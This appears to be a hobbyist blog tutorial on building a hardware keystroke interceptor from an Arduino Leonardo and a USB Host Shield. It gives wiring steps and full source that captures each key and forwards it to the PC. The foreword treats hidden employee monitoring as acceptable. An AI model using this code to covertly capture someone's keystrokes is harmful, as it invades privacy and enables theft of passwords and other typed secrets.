Keylogger on Arduino

Foreword


It is worth saying that the scope of this device is not so great. For work, this is monitoring, monitoring of working hours, protection against information leakage and, probably, that's all.

In everyday life, this thing can make life easier. For example, they pressed a certain combination of keys - Arduino recognized them and ... sent a signal to turn on the kettle. If not a kettle, then something else.

But still, this is a banal tracking (possibly even hidden) for an employee, which from a moral point of view is not good. But nevertheless, the legal certificate gives the go-ahead if it is prescribed in the employment contract, if this monitoring takes place during working hours and at the workplace, and if, of course, the employee is informed and ticked off.

Well, in your personal life, you are free to do whatever you want, as long as it concerns your property.

Everything, we are legally protected, now I will tell and show what we need and how to put it together to get a simple interceptor of keystrokes from the keyboard.

Let's start


So, we need a dozen wires and two boards:

1) Arduino Leonardo



2) USB Host Shield



Why Arduino Leonardo? Because it is relatively cheap and, unlike its predecessors, the ATmega32u4 has built-in support for USB connections.

The USB protocol defines two types of devices: host (master, server) and peripherals (slave, client). USB Host Shield manages and provides power to peripherals. For example, when you connect the keyboard to a PC, the PC is the host that controls the client, and the client, in this case, is the keyboard.

And there are quite a few supported peripherals. The most interesting of them are:

1) HID devices: keyboard, mouse, joystick, etc.
2) Game controllers
3) ADK-compatible Android phones and tablets.

And for more detailed information, please go to the official website .

In our case, this is the keyboard. It belongs to the class of HID devices. The HID code for the keyboard is encoded in 8 bytes:

1) 1 byte - each bit corresponds to its own modifier (L Ctrl, R Ctrl, L Shift, R Shift, etc.).
2) 2 bytes - reserved and we do not need, it is usually null.
3) 3-8 bytes - contain codes of 6 keys.

You can read more about this here .

Everything, with the theory over, now you can assemble the circuit.



By the way, a very convenient program for drawing diagrams, in which this diagram was drawn, is here .

Now it’s worth explaining what’s what.

Arduino Leonardo has a small feature due to which we can’t just connect it on top: the SPI connectors are located on the ICSP (those 6 connectors are in the middle on the right) and because of this they have to be connected to the USB Host Shield digital connectors.

1) Yellow wire: pin 4 MOSI (connected to pin 11 on the USB Host shield).
2) Gray wire: pin 1 MISO (connected to 12 pin on USB Host shield).
3) Green wire: pin 3 SCK (connected to pin 13 on the USB Host shield).

We provide power with the bottom five wires and one violet:

1) Reset to Reset
2) 3.3V to 3.3V
3) 5V to 5V
4) GND to GND
5) VIN to VIN
6) Reset to D7

Now we need to connect the control pins:
1) D7 to D7
2) D10 to D10

This is a necessary minimum to make it work.

So, there is a circuit, now we need to program it somehow and this is done using the Arduino IDE. It is completely free and is in the public domain. Examples of programs and the IDE itself can be found on the official website.

To work with USB Host Shield, we need an additional library ( here ).

The code itself is as simple as possible:

#include 
#include 
#include 
// Отправляет коды клавиш на ПК.
class KeyboardOut
{
  private:
    KeyReport _keyReport; // Собственно наши 8 байт для кодировки.
    void send_report();
  public:
    size_t press(uint8_t mod, uint8_t key);
    size_t release(uint8_t mod, uint8_t key);
};
KeyboardOut keyboard_out;
// Отправляет код нажатия на компьютер.
size_t KeyboardOut::press(uint8_t mod, uint8_t key) {
  uint8_t i;
  _keyReport.modifiers |= mod;
  if (_keyReport.keys[0] != key && _keyReport.keys[1] != key && 
    _keyReport.keys[2] != key && _keyReport.keys[3] != key &&
    _keyReport.keys[4] != key && _keyReport.keys[5] != key) {
    for (i=0; i<6; i++) {
      if (_keyReport.keys[i] == 0x00) {
        _keyReport.keys[i] = key;
        break;
      }
    }
    if (i == 6) {
      return 0;
    }	
  }
  send_report();
  return 1;
}
// Отправляет код отжатия на компьютер.
size_t KeyboardOut::release(uint8_t mod, uint8_t key) {
  uint8_t i;
  _keyReport.modifiers &= mod;
  for (i=0; i<6; i++) {
    if (0 != key && _keyReport.keys[i] == key) {
      _keyReport.keys[i] = 0x00;
    }
  }
  send_report();
  return 1;
}
void KeyboardOut::send_report()
{
  HID_SendReport(2, &_keyReport, sizeof(KeyReport));	// Отправляем код клавиши на ПК.
}
// Принимает коды клавиш с USB Host Shield.
class KeyboardIn : public KeyboardReportParser
{
  protected:
    void OnKeyDown  (uint8_t mod, uint8_t key);
    void OnKeyUp  (uint8_t mod, uint8_t key);
};
KeyboardIn keyboard_in;
// Принимает код нажатия с USB Host Shield.
void KeyboardIn::OnKeyDown(uint8_t mod, uint8_t key)
{
  keyboard_out.press(mod, key);
  uint8_t c = OemToAscii(mod, key);    // Собственно наш символ с клавиатуры
  PrintHex(key, 0x80);            // А это его шестнадцатеричное представление
}
// Принимает код отжатия с USB Host Shield.
void KeyboardIn::OnKeyUp(uint8_t mod, uint8_t key)
{
  keyboard_out.release(mod, key);
  uint8_t c = OemToAscii(mod, key);
  PrintHex(key, 0x80);
}
USB     UsbHost;
HIDBoot    HidKeyboard(&UsbHost);
void setup()
{
  UsbHost.Init();
  delay( 200 );
  HidKeyboard.SetReportParser(0, (HIDReportParser*)&keyboard_in);
}
void loop()
{
  UsbHost.Task();
}

It remains only to connect via USB Arduino to a PC, and the keyboard to USB Host Shield, download the program to Arduino using the IDE and that's it! Key Catcher is ready!

Results:

1) Arduino provides many opportunities at its low price and a wide variety of modules and sensors.
2) This device can allow you to turn your keyboard into a control panel, for example, a TV, an electric kettle, a lamp, you only have to buy a couple of modules.

Also popular now: